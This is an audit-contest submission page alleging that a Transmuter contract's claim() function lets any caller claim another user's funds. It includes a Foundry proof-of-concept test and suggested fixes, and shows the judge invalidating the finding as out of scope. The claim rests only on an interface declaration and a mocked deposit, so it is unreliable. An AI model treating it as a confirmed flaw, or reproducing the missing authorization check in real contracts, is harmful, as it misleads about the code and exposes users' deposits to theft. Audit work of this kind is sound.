DeFiFoundrySolidity
16,653 OP
View results
Submission Details
Severity: high
Invalid

Unauthorized claim vulnerability in Transmuter allows theft of user funds

Summary

The claim() function in the Transmuter contract lacks ownership verification, allowing any user to claim funds belonging to other users.

Vulnerability Details

In ITransmuter.sol, the claim() function doesn't verify the relationship between msg.sender and _owner:

function claim(uint256 _amount, address _owner) external;
function testUnauthorizedClaim() public {
uint256 amount = 50e18;
// User deposits first
vm.startPrank(user);
vm.mockCall(
address(transmuter),
abi.encodeWithSelector(ITransmuter.deposit.selector),
abi.encode()
);
transmuter.deposit(amount, user);
vm.stopPrank();
// Attacker can claim user's funds
vm.startPrank(attacker);
transmuter.claim(amount, user); // This succeeds when it shouldn't
// Verify balance is affected
assertEq(transmuter.getClaimableBalance(user), 0, "Claim should not have succeeded");
vm.stopPrank();
}

Impact

  • Any user can claim funds belonging to other users

  • Direct theft of user deposits possible

  • No authorization checks on claim operations

  • Complete loss of funds for users

Tools Used

  • Foundry

  • Manual Review

Recommendations

1. Add ownership verification:

function claim(uint256 _amount, address _owner) external {
require(msg.sender == _owner || isAuthorized[msg.sender], "Not authorized");
// ... rest of the function
}
  1. Implement an authorization system:

mapping(address => mapping(address => bool)) public claimApprovals;
function approveClaimer(address _claimer, bool _approved) external {
claimApprovals[msg.sender][_claimer] = _approved;
}
  1. Add a timelock for large claims:

function claim(uint256 _amount, address _owner) external {
require(msg.sender == _owner || claimApprovals[_owner][msg.sender], "Not authorized");
if(_amount > LARGE_AMOUNT) {
require(block.timestamp >= lastClaimTime[_owner] + TIMELOCK, "Timelock active");
}
// ... rest of the function
}
Updates

Appeal created

inallhonesty Lead Judge 8 months ago
Submission Judgement Published
Invalidated
Reason: Out of scope

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.